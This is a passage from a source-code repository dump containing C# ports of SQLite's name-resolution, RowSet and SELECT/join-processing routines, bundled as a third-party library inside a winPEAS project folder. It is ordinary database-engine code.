!= 0 */ ) { return WRC_Abort; } for ( i = 0 ; i < pGroupBy.nExpr ; i++ )//, pItem++) { pItem = pGroupBy.a[i]; if ( ( pItem.pExpr.flags & EP_Agg ) != 0 )//HasProperty(pItem.pExpr, EP_Agg) ) { sqlite3ErrorMsg( pParse, "aggregate functions are not allowed in " + "the GROUP BY clause" ); return WRC_Abort; } } } /* Advance to the next term of the compound */ p = p.pPrior; nCompound++; } /* Resolve the ORDER BY on a compound SELECT after all terms of ** the compound have been resolved. */ if ( isCompound && resolveCompoundOrderBy( pParse, pLeftmost ) != 0 ) { return WRC_Abort; } return WRC_Prune; } /* ** This routine walks an expression tree and resolves references to ** table columns and result-set columns. At the same time, do error ** checking on function usage and set a flag if any aggregate functions ** are seen. ** ** To resolve table columns references we look for nodes (or subtrees) of the ** form X.Y.Z or Y.Z or just Z where ** ** X: The name of a database. Ex: "main" or "temp" or ** the symbolic name assigned to an ATTACH-ed database. ** ** Y: The name of a table in a FROM clause. Or in a trigger ** one of the special names "old" or "new". ** ** Z: The name of a column in table Y. ** ** The node at the root of the subtree is modified as follows: ** ** Expr.op Changed to TK_COLUMN ** Expr.pTab Points to the Table object for X.Y ** Expr.iColumn The column index in X.Y. -1 for the rowid. ** Expr.iTable The VDBE cursor number for X.Y ** ** ** To resolve result-set references, look for expression nodes of the ** form Z (with no X and Y prefix) where the Z matches the right-hand ** size of an AS clause in the result-set of a SELECT. The Z expression ** is replaced by a copy of the left-hand side of the result-set expression. ** Table-name and function resolution occurs on the substituted expression ** tree. For example, in: ** ** SELECT a+b AS x, c+d AS y FROM t1 ORDER BY x; ** ** The "x" term of the order by is replaced by "a+b" to render: ** ** SELECT a+b AS x, c+d AS y FROM t1 ORDER BY a+b; ** ** Function calls are checked to make sure that the function is ** defined and that the correct number of arguments are specified. ** If the function is an aggregate function, then the pNC.hasAgg is ** set and the opcode is changed from TK_FUNCTION to TK_AGG_FUNCTION. ** If an expression contains aggregate functions then the EP_Agg ** property on the expression is set. ** ** An error message is left in pParse if anything is amiss. The number ** if errors is returned. */ static int sqlite3ResolveExprNames( NameContext pNC, /* Namespace to resolve expressions in. */ ref Expr pExpr /* The expression to be analyzed. */ ) { u8 savedHasAgg; Walker w = new Walker(); if ( pExpr == null ) return 0; #if SQLITE_MAX_EXPR_DEPTH//>0 { Parse pParse = pNC.pParse; if( sqlite3ExprCheckHeight(pParse, pExpr.nHeight+pNC.pParse.nHeight) ){ return 1; } pParse.nHeight += pExpr.nHeight; } #endif savedHasAgg = pNC.hasAgg; pNC.hasAgg = 0; w.xExprCallback = resolveExprStep; w.xSelectCallback = resolveSelectStep; w.pParse = pNC.pParse; w.u.pNC = pNC; sqlite3WalkExpr( w, ref pExpr ); #if SQLITE_MAX_EXPR_DEPTH//>0 pNC.pParse.nHeight -= pExpr.nHeight; #endif if ( pNC.nErr > 0 || w.pParse.nErr > 0 ) { ExprSetProperty( pExpr, EP_Error ); } if ( pNC.hasAgg != 0 ) { ExprSetProperty( pExpr, EP_Agg ); } else if ( savedHasAgg != 0 ) { pNC.hasAgg = 1; } return ExprHasProperty( pExpr, EP_Error ) ? 1 : 0; } /* ** Resolve all names in all expressions of a SELECT and in all ** decendents of the SELECT, including compounds off of p.pPrior, ** subqueries in expressions, and subqueries used as FROM clause ** terms. ** ** See sqlite3ResolveExprNames() for a description of the kinds of ** transformations that occur. ** ** All SELECT statements should have been expanded using ** sqlite3SelectExpand() prior to invoking this routine. */ static void sqlite3ResolveSelectNames( Parse pParse, /* The parser context */ Select p, /* The SELECT statement being coded. */ NameContext pOuterNC /* Name context for parent SELECT statement */ ) { Walker w = new Walker(); Debug.Assert( p != null ); w.xExprCallback = resolveExprStep; w.xSelectCallback = resolveSelectStep; w.pParse = pParse; w.u.pNC = pOuterNC; sqlite3WalkSelect( w, p ); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/rowset_c.cs ================================================ using System.Diagnostics; using i64 = System.Int64; using u8 = System.Byte; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_int64 = System.Int64; public partial class CSSQLite { /* ** 2008 December 3 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This module implements an object we call a "RowSet". ** ** The RowSet object is a collection of rowids. Rowids ** are inserted into the RowSet in an arbitrary order. Inserts ** can be intermixed with tests to see if a given rowid has been ** previously inserted into the RowSet. ** ** After all inserts are finished, it is possible to extract the ** elements of the RowSet in sorted order. Once this extraction ** process has started, no new elements may be inserted. ** ** Hence, the primitive operations for a RowSet are: ** ** CREATE ** INSERT ** TEST ** SMALLEST ** DESTROY ** ** The CREATE and DESTROY primitives are the constructor and destructor, ** obviously. The INSERT primitive adds a new element to the RowSet. ** TEST checks to see if an element is already in the RowSet. SMALLEST ** extracts the least value from the RowSet. ** ** The INSERT primitive might allocate additional memory. Memory is ** allocated in chunks so most INSERTs do no allocation. There is an ** upper bound on the size of allocated memory. No memory is freed ** until DESTROY. ** ** The TEST primitive includes a "batch" number. The TEST primitive ** will only see elements that were inserted before the last change ** in the batch number. In other words, if an INSERT occurs between ** two TESTs where the TESTs have the same batch nubmer, then the ** value added by the INSERT will not be visible to the second TEST. ** The initial batch number is zero, so if the very first TEST contains ** a non-zero batch number, it will see all prior INSERTs. ** ** No INSERTs may occurs after a SMALLEST. An assertion will fail if ** that is attempted. ** ** The cost of an INSERT is roughly constant. (Sometime new memory ** has to be allocated on an INSERT.) The cost of a TEST with a new ** batch number is O(NlogN) where N is the number of elements in the RowSet. ** The cost of a TEST using the same batch number is O(logN). The cost ** of the first SMALLEST is O(NlogN). Second and subsequent SMALLEST ** primitives are constant time. The cost of DESTROY is O(N). ** ** There is an added cost of O(N) when switching between TEST and ** SMALLEST primitives. ** ** ** $Id: rowset.c,v 1.7 2009/05/22 01:00:13 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** Target size for allocation chunks. */ //#define ROWSET_ALLOCATION_SIZE 1024 const int ROWSET_ALLOCATION_SIZE = 1024; /* ** The number of rowset entries per allocation chunk. */ //#define ROWSET_ENTRY_PER_CHUNK \ // ((ROWSET_ALLOCATION_SIZE-8)/sizeof(struct RowSetEntry)) const int ROWSET_ENTRY_PER_CHUNK = 63; /* ** Each entry in a RowSet is an instance of the following object. */ public class RowSetEntry { public i64 v; /* ROWID value for this entry */ public RowSetEntry pRight; /* Right subtree (larger entries) or list */ public RowSetEntry pLeft; /* Left subtree (smaller entries) */ }; /* ** Index entries are allocated in large chunks (instances of the ** following structure) to reduce memory allocation overhead. The ** chunks are kept on a linked list so that they can be deallocated ** when the RowSet is destroyed. */ public class RowSetChunk { public RowSetChunk pNextChunk; /* Next chunk on list of them all */ public RowSetEntry[] aEntry = new RowSetEntry[ROWSET_ENTRY_PER_CHUNK]; /* Allocated entries */ }; /* ** A RowSet in an instance of the following structure. ** ** A typedef of this structure if found in sqliteInt.h. */ public class RowSet { public RowSetChunk pChunk; /* List of all chunk allocations */ public sqlite3 db; /* The database connection */ public RowSetEntry pEntry; /* /* List of entries using pRight */ public RowSetEntry pLast; /* Last entry on the pEntry list */ public RowSetEntry[] pFresh; /* Source of new entry objects */ public RowSetEntry pTree; /* Binary tree of entries */ public int nFresh; /* Number of objects on pFresh */ public bool isSorted; /* True if pEntry is sorted */ public u8 iBatch; /* Current insert batch */ public RowSet( sqlite3 db, int N ) { this.pChunk = null; this.db = db; this.pEntry = null; this.pLast = null; this.pFresh = new RowSetEntry[N]; this.pTree = null; this.nFresh = N; this.isSorted = true; this.iBatch = 0; } }; /* ** Turn bulk memory into a RowSet object. N bytes of memory ** are available at pSpace. The db pointer is used as a memory context ** for any subsequent allocations that need to occur. ** Return a pointer to the new RowSet object. ** ** It must be the case that N is sufficient to make a Rowset. If not ** an assertion fault occurs. ** ** If N is larger than the minimum, use the surplus as an initial ** allocation of entries available to be filled. */ static RowSet sqlite3RowSetInit( sqlite3 db, object pSpace, u32 N ) { RowSet p = new RowSet( db, (int)N ); //Debug.Assert(N >= ROUND8(sizeof(*p)) ); // p = pSpace; // p.pChunk = 0; // p.db = db; // p.pEntry = 0; // p.pLast = 0; // p.pTree = 0; // p.pFresh =(struct RowSetEntry*)(ROUND8(sizeof(*p)) + (char*)p); // p.nFresh = (u16)((N - ROUND8(sizeof(*p)))/sizeof(struct RowSetEntry)); // p.isSorted = 1; // p.iBatch = 0; return p; } /* ** Deallocate all chunks from a RowSet. This frees all memory that ** the RowSet has allocated over its lifetime. This routine is ** the destructor for the RowSet. */ static void sqlite3RowSetClear( RowSet p ) { RowSetChunk pChunk, pNextChunk; for ( pChunk = p.pChunk ; pChunk != null ; pChunk = pNextChunk ) { pNextChunk = pChunk.pNextChunk; //sqlite3DbFree( p.db, ref pChunk ); } p.pChunk = null; p.nFresh = 0; p.pEntry = null; p.pLast = null; p.pTree = null; p.isSorted = true; } /* ** Insert a new value into a RowSet. ** ** The mallocFailed flag of the database connection is set if a ** memory allocation fails. */ static void sqlite3RowSetInsert( RowSet p, i64 rowid ) { RowSetEntry pEntry; /* The new entry */ RowSetEntry pLast; /* The last prior entry */ Debug.Assert( p != null ); if ( p.nFresh == 0 ) { RowSetChunk pNew; pNew = new RowSetChunk();//sqlite3DbMallocRaw(p.db, sizeof(*pNew)); if ( pNew == null ) { return; } pNew.pNextChunk = p.pChunk; p.pChunk = pNew; p.pFresh = pNew.aEntry; p.nFresh = ROWSET_ENTRY_PER_CHUNK; } p.pFresh[p.pFresh.Length - p.nFresh] = new RowSetEntry(); pEntry = p.pFresh[p.pFresh.Length - p.nFresh]; p.nFresh--; pEntry.v = rowid; pEntry.pRight = null; pLast = p.pLast; if ( pLast != null ) { if ( p.isSorted && rowid <= pLast.v ) { p.isSorted = false; } pLast.pRight = pEntry; } else { Debug.Assert( p.pEntry == null );/* Fires if INSERT after SMALLEST */ p.pEntry = pEntry; } p.pLast = pEntry; } /* ** Merge two lists of RowSetEntry objects. Remove duplicates. ** ** The input lists are connected via pRight pointers and are ** assumed to each already be in sorted order. */ static RowSetEntry rowSetMerge( RowSetEntry pA, /* First sorted list to be merged */ RowSetEntry pB /* Second sorted list to be merged */ ) { RowSetEntry head = new RowSetEntry(); RowSetEntry pTail; pTail = head; while ( pA != null && pB != null ) { Debug.Assert( pA.pRight == null || pA.v <= pA.pRight.v ); Debug.Assert( pB.pRight == null || pB.v <= pB.pRight.v ); if ( pA.v < pB.v ) { pTail.pRight = pA; pA = pA.pRight; pTail = pTail.pRight; } else if ( pB.v < pA.v ) { pTail.pRight = pB; pB = pB.pRight; pTail = pTail.pRight; } else { pA = pA.pRight; } } if ( pA != null ) { Debug.Assert( pA.pRight == null || pA.v <= pA.pRight.v ); pTail.pRight = pA; } else { Debug.Assert( pB == null || pB.pRight == null || pB.v <= pB.pRight.v ); pTail.pRight = pB; } return head.pRight; } /* ** Sort all elements on the pEntry list of the RowSet into ascending order. */ static void rowSetSort( RowSet p ) { u32 i; RowSetEntry pEntry; RowSetEntry[] aBucket = new RowSetEntry[40]; Debug.Assert( p.isSorted == false ); //memset(aBucket, 0, sizeof(aBucket)); while ( p.pEntry != null ) { pEntry = p.pEntry; p.pEntry = pEntry.pRight; pEntry.pRight = null; for ( i = 0 ; aBucket[i] != null ; i++ ) { pEntry = rowSetMerge( aBucket[i], pEntry ); aBucket[i] = null; } aBucket[i] = pEntry; } pEntry = null; for ( i = 0 ; i < aBucket.Length ; i++ )//sizeof(aBucket)/sizeof(aBucket[0]) { pEntry = rowSetMerge( pEntry, aBucket[i] ); } p.pEntry = pEntry; p.pLast = null; p.isSorted = true; } /* ** The input, pIn, is a binary tree (or subtree) of RowSetEntry objects. ** Convert this tree into a linked list connected by the pRight pointers ** and return pointers to the first and last elements of the new list. */ static void rowSetTreeToList( RowSetEntry pIn, /* Root of the input tree */ ref RowSetEntry ppFirst, /* Write head of the output list here */ ref RowSetEntry ppLast /* Write tail of the output list here */ ) { Debug.Assert( pIn != null ); if ( pIn.pLeft != null ) { RowSetEntry p = new RowSetEntry(); rowSetTreeToList( pIn.pLeft, ref ppFirst, ref p ); p.pRight = pIn; } else { ppFirst = pIn; } if ( pIn.pRight != null ) { rowSetTreeToList( pIn.pRight, ref pIn.pRight, ref ppLast ); } else { ppLast = pIn; } Debug.Assert( ( ppLast ).pRight == null ); } /* ** Convert a sorted list of elements (connected by pRight) into a binary ** tree with depth of iDepth. A depth of 1 means the tree contains a single ** node taken from the head of *ppList. A depth of 2 means a tree with ** three nodes. And so forth. ** ** Use as many entries from the input list as required and update the ** *ppList to point to the unused elements of the list. If the input ** list contains too few elements, then construct an incomplete tree ** and leave *ppList set to NULL. ** ** Return a pointer to the root of the constructed binary tree. */ static RowSetEntry rowSetNDeepTree( ref RowSetEntry ppList, int iDepth ) { RowSetEntry p; /* Root of the new tree */ RowSetEntry pLeft; /* Left subtree */ if ( ppList == null ) { return null; } if ( iDepth == 1 ) { p = ppList; ppList = p.pRight; p.pLeft = p.pRight = null; return p; } pLeft = rowSetNDeepTree( ref ppList, iDepth - 1 ); p = ppList; if ( p == null ) { return pLeft; } p.pLeft = pLeft; ppList = p.pRight; p.pRight = rowSetNDeepTree( ref ppList, iDepth - 1 ); return p; } /* ** Convert a sorted list of elements into a binary tree. Make the tree ** as deep as it needs to be in order to contain the entire list. */ static RowSetEntry rowSetListToTree( RowSetEntry pList ) { int iDepth; /* Depth of the tree so far */ RowSetEntry p; /* Current tree root */ RowSetEntry pLeft; /* Left subtree */ Debug.Assert( pList != null ); p = pList; pList = p.pRight; p.pLeft = p.pRight = null; for ( iDepth = 1 ; pList != null ; iDepth++ ) { pLeft = p; p = pList; pList = p.pRight; p.pLeft = pLeft; p.pRight = rowSetNDeepTree( ref pList, iDepth ); } return p; } /* ** Convert the list in p.pEntry into a sorted list if it is not ** sorted already. If there is a binary tree on p.pTree, then ** convert it into a list too and merge it into the p.pEntry list. */ static void rowSetToList( RowSet p ) { if ( !p.isSorted ) { rowSetSort( p ); } if ( p.pTree != null ) { RowSetEntry pHead = new RowSetEntry(), pTail = new RowSetEntry(); rowSetTreeToList( p.pTree, ref pHead, ref pTail ); p.pTree = null; p.pEntry = rowSetMerge( p.pEntry, pHead ); } } /* ** Extract the smallest element from the RowSet. ** Write the element into *pRowid. Return 1 on success. Return ** 0 if the RowSet is already empty. ** ** After this routine has been called, the sqlite3RowSetInsert() ** routine may not be called again. */ static int sqlite3RowSetNext( RowSet p, ref i64 pRowid ) { rowSetToList( p ); if ( p.pEntry != null ) { pRowid = p.pEntry.v; p.pEntry = p.pEntry.pRight; if ( p.pEntry == null ) { sqlite3RowSetClear( p ); } return 1; } else { return 0; } } /* ** Check to see if element iRowid was inserted into the the rowset as ** part of any insert batch prior to iBatch. Return 1 or 0. */ static int sqlite3RowSetTest( RowSet pRowSet, u8 iBatch, sqlite3_int64 iRowid ) { RowSetEntry p; if ( iBatch != pRowSet.iBatch ) { if ( pRowSet.pEntry != null ) { rowSetToList( pRowSet ); pRowSet.pTree = rowSetListToTree( pRowSet.pEntry ); pRowSet.pEntry = null; pRowSet.pLast = null; } pRowSet.iBatch = iBatch; } p = pRowSet.pTree; while ( p != null ) { if ( p.v < iRowid ) { p = p.pRight; } else if ( p.v > iRowid ) { p = p.pLeft; } else { return 1; } } return 0; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/select_c.cs ================================================ #define SQLITE_MAX_EXPR_DEPTH using System; using System.Diagnostics; using i16 = System.Int16; using u8 = System.Byte; using u16 = System.UInt16; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains C code routines that are called by the parser ** to handle SELECT statements in SQLite. ** ** $Id: select.c,v 1.526 2009/08/01 15:09:58 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** Delete all the content of a Select structure but do not deallocate ** the select structure itself. */ static void clearSelect( sqlite3 db, Select p ) { sqlite3ExprListDelete( db, ref p.pEList ); sqlite3SrcListDelete( db, ref p.pSrc ); sqlite3ExprDelete( db, ref p.pWhere ); sqlite3ExprListDelete( db, ref p.pGroupBy ); sqlite3ExprDelete( db, ref p.pHaving ); sqlite3ExprListDelete( db, ref p.pOrderBy ); sqlite3SelectDelete( db, ref p.pPrior ); sqlite3ExprDelete( db, ref p.pLimit ); sqlite3ExprDelete( db, ref p.pOffset ); } /* ** Initialize a SelectDest structure. */ static void sqlite3SelectDestInit( SelectDest pDest, int eDest, int iParm ) { pDest.eDest = (u8)eDest; pDest.iParm = iParm; pDest.affinity = '\0'; pDest.iMem = 0; pDest.nMem = 0; } /* ** Allocate a new Select structure and return a pointer to that ** structure. */ // OVERLOADS, so I don't need to rewrite parse.c static Select sqlite3SelectNew( Parse pParse, int null_2, SrcList pSrc, int null_4, int null_5, int null_6, int null_7, int isDistinct, int null_9, int null_10 ) { return sqlite3SelectNew( pParse, null, pSrc, null, null, null, null, isDistinct, null, null ); } static Select sqlite3SelectNew( Parse pParse, /* Parsing context */ ExprList pEList, /* which columns to include in the result */ SrcList pSrc, /* the FROM clause -- which tables to scan */ Expr pWhere, /* the WHERE clause */ ExprList pGroupBy, /* the GROUP BY clause */ Expr pHaving, /* the HAVING clause */ ExprList pOrderBy, /* the ORDER BY clause */ int isDistinct, /* true if the DISTINCT keyword is present */ Expr pLimit, /* LIMIT value. NULL means not used */ Expr pOffset /* OFFSET value. NULL means no offset */ ) { Select pNew; // Select standin; sqlite3 db = pParse.db; pNew = new Select();//sqlite3DbMallocZero(db, sizeof(*pNew) ); Debug.Assert( //db.mallocFailed != 0 || null == pOffset || pLimit != null ); /* OFFSET implies LIMIT */ //if( pNew==null ){ // pNew = standin; // memset(pNew, 0, sizeof(*pNew)); //} if ( pEList == null ) { pEList = sqlite3ExprListAppend( pParse, null, sqlite3Expr( db, TK_ALL, null ) ); } pNew.pEList = pEList; pNew.pSrc = pSrc; pNew.pWhere = pWhere; pNew.pGroupBy = pGroupBy; pNew.pHaving = pHaving; pNew.pOrderBy = pOrderBy; pNew.selFlags = (u16)( isDistinct != 0 ? SF_Distinct : 0 ); pNew.op = TK_SELECT; pNew.pLimit = pLimit; pNew.pOffset = pOffset; Debug.Assert( pOffset == null || pLimit != null ); pNew.addrOpenEphm[0] = -1; pNew.addrOpenEphm[1] = -1; pNew.addrOpenEphm[2] = -1; //if ( db.mallocFailed != 0 ) //{ // clearSelect( db, pNew ); // //if ( pNew != standin ) //sqlite3DbFree( db, ref pNew ); // pNew = null; //} return pNew; } /* ** Delete the given Select structure and all of its substructures. */ static void sqlite3SelectDelete( sqlite3 db, ref Select p ) { if ( p != null ) { clearSelect( db, p ); //sqlite3DbFree( db, ref p ); } } /* ** Given 1 to 3 identifiers preceeding the JOIN keyword, determine the ** type of join. Return an integer constant that expresses that type ** in terms of the following bit values: ** ** JT_INNER ** JT_CROSS ** JT_OUTER ** JT_NATURAL ** JT_LEFT ** JT_RIGHT ** ** A full outer join is the combination of JT_LEFT and JT_RIGHT. ** ** If an illegal or unsupported join type is seen, then still return ** a join type, but put an error in the pParse structure. */ class Keyword { public u8 i; /* Beginning of keyword text in zKeyText[] */ public u8 nChar; /* Length of the keyword in characters */ public u8 code; /* Join type mask */ public Keyword( u8 i, u8 nChar, u8 code ) { this.i = i; this.nChar = nChar; this.code = code; } } // OVERLOADS, so I don't need to rewrite parse.c static int sqlite3JoinType( Parse pParse, Token pA, int null_3, int null_4 ) { return sqlite3JoinType( pParse, pA, null, null ); } static int sqlite3JoinType( Parse pParse, Token pA, Token pB, int null_4 ) { return sqlite3JoinType( pParse, pA, pB, null ); } static int sqlite3JoinType( Parse pParse, Token pA, Token pB, Token pC ) { int jointype = 0; Token[] apAll = new Token[3]; Token p; /* 0123456789 123456789 123456789 123 */ string zKeyText = "naturaleftouterightfullinnercross"; Keyword[] aKeyword = new Keyword[]{ /* natural */ new Keyword( 0, 7, JT_NATURAL ), /* left */ new Keyword( 6, 4, JT_LEFT|JT_OUTER ), /* outer */ new Keyword( 10, 5, JT_OUTER ), /* right */ new Keyword( 14, 5, JT_RIGHT|JT_OUTER ), /* full */ new Keyword( 19, 4, JT_LEFT|JT_RIGHT|JT_OUTER ), /* inner */ new Keyword( 23, 5, JT_INNER ), /* cross */ new Keyword( 28, 5, JT_INNER|JT_CROSS ), }; int i, j; apAll[0] = pA; apAll[1] = pB; apAll[2] = pC; for ( i = 0 ; i < 3 && apAll[i] != null ; i++ ) { p = apAll[i]; for ( j = 0 ; j < ArraySize( aKeyword ) ; j++ ) { if ( p.n == aKeyword[j].nChar && sqlite3StrNICmp( p.z.ToString(), zKeyText.Substring( aKeyword[j].i ), p.n ) == 0 ) { jointype |= aKeyword[j].code; break; } } testcase( j == 0 || j == 1 || j == 2 || j == 3 || j == 4 || j == 5 || j == 6 ); if ( j >= ArraySize( aKeyword ) ) { jointype |= JT_ERROR; break; } } if ( ( jointype & ( JT_INNER | JT_OUTER ) ) == ( JT_INNER | JT_OUTER ) || ( jointype & JT_ERROR ) != 0 ) { string zSp = " "; Debug.Assert( pB != null ); if ( pC == null ) { zSp = ""; } sqlite3ErrorMsg( pParse, "unknown or unsupported join type: " + "%T %T%s%T", pA, pB, zSp, pC ); jointype = JT_INNER; } else if ( ( jointype & JT_OUTER ) != 0 && ( jointype & ( JT_LEFT | JT_RIGHT ) ) != JT_LEFT ) { sqlite3ErrorMsg( pParse, "RIGHT and FULL OUTER JOINs are not currently supported" ); jointype = JT_INNER; } return jointype; } /* ** Return the index of a column in a table. Return -1 if the column ** is not contained in the table. */ static int columnIndex( Table pTab, string zCol ) { int i; for ( i = 0 ; i < pTab.nCol ; i++ ) { if ( sqlite3StrICmp( pTab.aCol[i].zName, zCol ) == 0 ) return i; } return -1; } /* ** Create an expression node for an identifier with the name of zName */ static Expr sqlite3CreateIdExpr( Parse pParse, string zName ) { return sqlite3Expr( pParse.db, TK_ID, zName ); } /* ** Add a term to the WHERE expression in ppExpr that requires the ** zCol column to be equal in the two tables pTab1 and pTab2. */ static void addWhereTerm( Parse pParse, /* Parsing context */ string zCol, /* Name of the column */ Table pTab1, /* First table */ string zAlias1, /* Alias for first table. May be NULL */ Table pTab2, /* Second table */ string zAlias2, /* Alias for second table. May be NULL */ int iRightJoinTable, /* VDBE cursor for the right table */ ref Expr ppExpr, /* Add the equality term to this expression */ bool isOuterJoin /* True if dealing with an OUTER join */ ) { Expr pE1a, pE1b, pE1c; Expr pE2a, pE2b, pE2c; Expr pE; pE1a = sqlite3CreateIdExpr( pParse, zCol ); pE2a = sqlite3CreateIdExpr( pParse, zCol ); if ( zAlias1 == null ) { zAlias1 = pTab1.zName; } pE1b = sqlite3CreateIdExpr( pParse, zAlias1 ); if ( zAlias2 == null ) { zAlias2 = pTab2.zName; } pE2b = sqlite3CreateIdExpr( pParse, zAlias2 ); pE1c = sqlite3PExpr( pParse, TK_DOT, pE1b, pE1a, null ); pE2c = sqlite3PExpr( pParse, TK_DOT, pE2b, pE2a, null ); pE = sqlite3PExpr( pParse, TK_EQ, pE1c, pE2c, null ); if ( pE != null && isOuterJoin ) { ExprSetProperty( pE, EP_FromJoin ); Debug.Assert( !ExprHasAnyProperty( pE, EP_TokenOnly | EP_Reduced ) ); ExprSetIrreducible( pE ); pE.iRightJoinTable = (i16)iRightJoinTable; } ppExpr = sqlite3ExprAnd( pParse.db, ppExpr, pE ); } /* ** Set the EP_FromJoin property on all terms of the given expression. ** And set the Expr.iRightJoinTable to iTable for every term in the ** expression. ** ** The EP_FromJoin property is used on terms of an expression to tell ** the LEFT OUTER JOIN processing logic that this term is part of the ** join restriction specified in the ON or USING clause and not a part ** of the more general WHERE clause. These terms are moved over to the ** WHERE clause during join processing but we need to remember that they ** originated in the ON or USING clause. ** ** The Expr.iRightJoinTable tells the WHERE clause processing that the ** expression depends on table iRightJoinTable even if that table is not ** explicitly mentioned in the expression. That information is needed ** for cases like this: ** ** SELECT * FROM t1 LEFT JOIN t2 ON t1.a=t2.b AND t1.x=5 ** ** The where clause needs to defer the handling of the t1.x=5 ** term until after the t2 loop of the join. In that way, a ** NULL t2 row will be inserted whenever t1.x!=5. If we do not ** defer the handling of t1.x=5, it will be processed immediately ** after the t1 loop and rows with t1.x!=5 will never appear in ** the output, which is incorrect. */ static void setJoinExpr( Expr p, int iTable ) { while ( p != null ) { ExprSetProperty( p, EP_FromJoin ); Debug.Assert( !ExprHasAnyProperty( p, EP_TokenOnly | EP_Reduced ) ); ExprSetIrreducible( p ); p.iRightJoinTable = (i16)iTable; setJoinExpr( p.pLeft, iTable ); p = p.pRight; } } /* ** This routine processes the join information for a SELECT statement. ** ON and USING clauses are converted into extra terms of the WHERE clause. ** NATURAL joins also create extra WHERE clause terms. ** ** The terms of a FROM clause are contained in the Select.pSrc structure. ** The left most table is the first entry in Select.pSrc. The right-most ** table is the last entry. The join operator is held in the entry to ** the left. Thus entry 0 contains the join operator for the join between ** entries 0 and 1. Any ON or USING clauses associated with the join are ** also attached to the left entry. ** ** This routine returns the number of errors encountered. */ static int sqliteProcessJoin( Parse pParse, Select p ) { SrcList pSrc; /* All tables in the FROM clause */ int i; int j; /* Loop counters */ SrcList_item pLeft; /* Left table being joined */ SrcList_item pRight; /* Right table being joined */ pSrc = p.pSrc; //pLeft = pSrc.a[0]; //pRight = pLeft[1]; for ( i = 0 ; i < pSrc.nSrc - 1 ; i++ ) { pLeft = pSrc.a[i]; // pLeft ++ pRight = pSrc.a[i + 1];//Right++, Table pLeftTab = pLeft.pTab; Table pRightTab = pRight.pTab; bool isOuter; if ( NEVER( pLeftTab == null || pRightTab == null ) ) continue; isOuter = ( pRight.jointype & JT_OUTER ) != 0; /* When the NATURAL keyword is present, add WHERE clause terms for ** every column that the two tables have in common. */ if ( ( pRight.jointype & JT_NATURAL ) != 0 ) { if ( pRight.pOn != null || pRight.pUsing != null ) { sqlite3ErrorMsg( pParse, "a NATURAL join may not have " + "an ON or USING clause", "" ); return 1; } for ( j = 0 ; j < pLeftTab.nCol ; j++ ) { string zName = pLeftTab.aCol[j].zName; if ( columnIndex( pRightTab, zName ) >= 0 ) { addWhereTerm( pParse, zName, pLeftTab, pLeft.zAlias, pRightTab, pRight.zAlias, pRight.iCursor, ref p.pWhere, isOuter ); } } } /* Disallow both ON and USING clauses in the same join */ if ( pRight.pOn != null && pRight.pUsing != null ) { sqlite3ErrorMsg( pParse, "cannot have both ON and USING " + "clauses in the same join" ); return 1; } /* Add the ON clause to the end of the WHERE clause, connected by ** an AND operator. */ if ( pRight.pOn != null ) { if ( isOuter ) setJoinExpr( pRight.pOn, pRight.iCursor ); p.pWhere = sqlite3ExprAnd( pParse.db, p.pWhere, pRight.pOn ); pRight.pOn = null; } /* Create extra terms on the WHERE clause for each column named ** in the USING clause. Example: If the two tables to be joined are ** A and B and the USING clause names X, Y, and Z, then add this ** to the WHERE clause: A.X=B.X AND A.Y=B.Y AND A.Z=B.Z ** Report an error if any column mentioned in the USING clause is ** not contained in both tables to be joined. */ if ( pRight.pUsing != null ) { IdList pList = pRight.pUsing; for ( j = 0 ; j < pList.nId ; j++ ) { string zName = pList.a[j].zName; if ( columnIndex( pLeftTab, zName ) < 0 || columnIndex( pRightTab, zName ) < 0 ) { sqlite3ErrorMsg( pParse, "cannot join using column %s - column " + "not present in both tables", zName ); return 1; } addWhereTerm( pParse, zName, pLeftTab, pLeft.zAlias, pRightTab, pRight.zAlias, pRight.iCursor, ref p.pWhere, isOuter ); } } } return 0; } /* ** Insert code into "v" that will push the record on the top of the ** stack into the sorter. */ static void pushOntoSorter( Parse pParse, /* Parser context */ ExprList pOrderBy, /* The ORDER BY clause */ Select pSelect, /* The whole SELECT statement */ int regData /* Register holding data to be sorted */ ) { Vdbe v = pParse.pVdbe; int nExpr = pOrderBy.nExpr; int regBase = sqlite3GetTempRange( pParse, nExpr + 2 ); int regRecord = sqlite3GetTempReg( pParse ); sqlite3ExprCacheClear( pParse ); sqlite3ExprCodeExprList( pParse, pOrderBy, regBase, false ); sqlite3VdbeAddOp2( v, OP_Sequence, pOrderBy.iECursor, regBase + nExpr ); sqlite3ExprCodeMove( pParse, regData, regBase + nExpr + 1, 1 ); sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nExpr + 2, regRecord ); sqlite3VdbeAddOp2( v, OP_IdxInsert, pOrderBy.iECursor, regRecord ); sqlite3ReleaseTempReg( pParse, regRecord ); sqlite3ReleaseTempRange( pParse, regBase, nExpr + 2 ); if ( pSelect.iLimit != 0 ) { int addr1, addr2; int iLimit; if ( pSelect.iOffset != 0 ) { iLimit = pSelect.iOffset + 1; } else { iLimit = pSelect.iLimit; } addr1 = sqlite3VdbeAddOp1( v, OP_IfZero, iLimit ); sqlite3VdbeAddOp2( v, OP_AddImm, iLimit, -1 ); addr2 = sqlite3VdbeAddOp0( v, OP_Goto ); sqlite3VdbeJumpHere( v, addr1 ); sqlite3VdbeAddOp1( v, OP_Last, pOrderBy.iECursor ); sqlite3VdbeAddOp1( v, OP_Delete, pOrderBy.iECursor ); sqlite3VdbeJumpHere( v, addr2 ); pSelect.iLimit = 0; } 